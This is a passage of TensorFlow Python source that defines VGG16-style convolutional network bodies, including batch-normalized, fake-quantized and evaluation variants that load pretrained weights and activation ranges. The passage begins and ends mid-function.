tf.random_uniform(minval=0.0, maxval=1.0, shape=output.shape) return output layers = [] standardized = tf.identity(images * (1 / 255.0), name='images_standardized') net = Layer.Conv2D(standardized, convChannels=96, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv1a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv1a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv1a', dtype=tf.float32) net.setMinMax(preMin['Conv1a'], preMax['Conv1a']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=96, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv1b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv1b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv1b', dtype=tf.float32) net.setMinMax(preMin['Conv1b'], preMax['Conv1b']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv2a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv2a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv2a', dtype=tf.float32) net.setMinMax(preMin['Conv2a'], preMax['Conv2a']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv2b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv2b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv2b', dtype=tf.float32) net.setMinMax(preMin['Conv2b'], preMax['Conv2b']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=384, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv3a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv3a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3a', dtype=tf.float32) net.setMinMax(preMin['Conv3a'], preMax['Conv3a']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=384, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv3b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv3b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3b', dtype=tf.float32) net.setMinMax(preMin['Conv3b'], preMax['Conv3b']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv4a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv4a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv4a', dtype=tf.float32) net.setMinMax(preMin['Conv4a'], preMax['Conv4a']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv4b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv4b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv4b', dtype=tf.float32) net.setMinMax(preMin['Conv4b'], preMax['Conv4b']) layers.append(net) flattened = tf.reshape(_outWrapper(net), [-1, net.output.shape[1]*net.output.shape[2]*net.output.shape[3]]) net = Layer.FullyConnected(flattened, outputSize=4096, weightInit=Layer.ConstInit(preWeights['FC1']), wd=network._HParam['WeightDecay'], \ biasInit=Layer.ConstInit(preBias['FC1']), \ # bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ name='FC1', dtype=tf.float32) net.setMinMax(preMin['FC1'], preMax['FC1']) layers.append(net) net = Layer.FullyConnected(_outWrapper(net), outputSize=4096, weightInit=Layer.ConstInit(preWeights['FC2']), wd=network._HParam['WeightDecay'], \ biasInit=Layer.ConstInit(preBias['FC2']), \ # bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ name='FC2', dtype=tf.float32) net.setMinMax(preMin['FC2'], preMax['FC2']) layers.append(net) return net, layers def VGG16Body(network, images): layers = [] standardized = tf.identity(images / 255.0, name='images_standardized') net = Layer.Conv2D(standardized, convChannels=32, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv1a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=32, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv1b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=64, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv2a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=64, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv2b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=128, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=128, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=128, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3c', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv4a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv4b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv4c', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv5a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv5b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv5c', dtype=tf.float32) layers.append(net) flattened = tf.reshape(net.output, [-1, net.output.shape[1]*net.output.shape[2]*net.output.shape[3]]) net = Layer.FullyConnected(flattened, outputSize=1024, weightInit=Layer.XavierInit, wd=network._HParam['WeightDecay'], \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ name='FC1', dtype=tf.float32) layers.append(net) net = Layer.FullyConnected(net.output, outputSize=1024, weightInit=Layer.XavierInit, wd=network._HParam['WeightDecay'], \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ name='FC2', dtype=tf.float32) layers.append(net) return net.output, layers def VGG16BNBody(network, images): layers = [] standardized = tf.identity(images / 255.0, name='images_standardized') net = Layer.Conv2D(standardized, convChannels=32, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv1a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=32, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv1b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=64, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv2a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=64, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv2b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=128, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=128, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=128, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3c', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv4a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv4b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv4c', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv5a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv5b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv5c', dtype=tf.float32) layers.append(net) flattened = tf.reshape(net.output, [-1, net.output.shape[1]*net.output.shape[2]*net.output.shape[3]]) net = Layer.FullyConnected(flattened, outputSize=1024, weightInit=Layer.XavierInit, wd=network._HParam['WeightDecay'], \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ name='FC1', dtype=tf.float32) layers.append(net) net = Layer.FullyConnected(net.output, outputSize=1024, weightInit=Layer.XavierInit, wd=network._HParam['WeightDecay'], \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ name='FC2', dtype=tf.float32) layers.append(net) return net.output, layers def VGG16Body_Quant(network, images, preWeights, preBias): def _outWrapper(net): # Simulate quantization a = net._outMin b = net._outMax s = (b - a) / 255.0 output = net.output output = fake_quant_with_min_max_vars(net.output, a, b, num_bits=FAKEBITS, narrow_range=False) # Simulate value degrade in approximate computing # output -= 0.2 * (output - tf.reduce_min(output)) * tf.random_uniform(minval=0.0, maxval=1.0, shape=output.shape) return output layers = [] standardized = tf.identity(images * (1 / 255.0), name='images_standardized') net = Layer.Conv2D(standardized, convChannels=32, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv1a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv1a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv1a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=32, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv1b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv1b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv1b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=64, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv2a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv2a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv2a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=64, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv2b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv2b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv2b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=128, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv3a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv3a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv3a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=128, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv3b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv3b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv3b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=128, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv3c']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv3c']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv3c', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv4a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv4a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv4a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv4b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv4b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv4b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv4c']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv4c']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv4c', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv5a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv5a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv5a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv5b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv5b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv5b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv5c']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv5c']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv5c', dtype=tf.float32) layers.append(net) flattened = tf.reshape(_outWrapper(net), [-1, net.output.shape[1]*net.output.shape[2]*net.output.shape[3]]) net = Layer.FullyConnected(flattened, outputSize=1024, weightInit=Layer.ConstInit(preWeights['FC1']), wd=network._HParam['WeightDecay'], \ biasInit=Layer.ConstInit(preBias['FC1']), \ # bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ fakeQuant=True, name='FC1', dtype=tf.float32) layers.append(net) net = Layer.FullyConnected(_outWrapper(net), outputSize=1024, weightInit=Layer.ConstInit(preWeights['FC2']), wd=network._HParam['WeightDecay'], \ biasInit=Layer.ConstInit(preBias['FC2']), \ # bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ fakeQuant=True, name='FC2', dtype=tf.float32) layers.append(net) return net, layers def VGG16Body_Eval(network, images, preWeights, preBias, preMin, preMax): def _outWrapper(net): # Simulate quantization a = net._outMin b = net._outMax s = (b - a) / 255.0 output = net.output # output = fake_quant_with_min_max_vars(net.output, a, b, num_bits=FAKEBITS, narrow_range=False) # Simulate value degrade in approximate computing # output -= 0.2 * (output - tf.reduce_min(output)) * tf.random_uniform(minval=0.0, maxval=1.0, shape=output.shape) return output layers = [] standardized = tf.identity(images * (1 / 255.0), name='images_standardized') net = Layer.Conv2D(standardized, convChannels=32, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv1a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv1a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv1a', dtype=tf.float32) net.setMinMax(preMin['Conv1a'], preMax['Conv1a']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=32, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv1b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv1b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv1b', dtype=tf.float32) 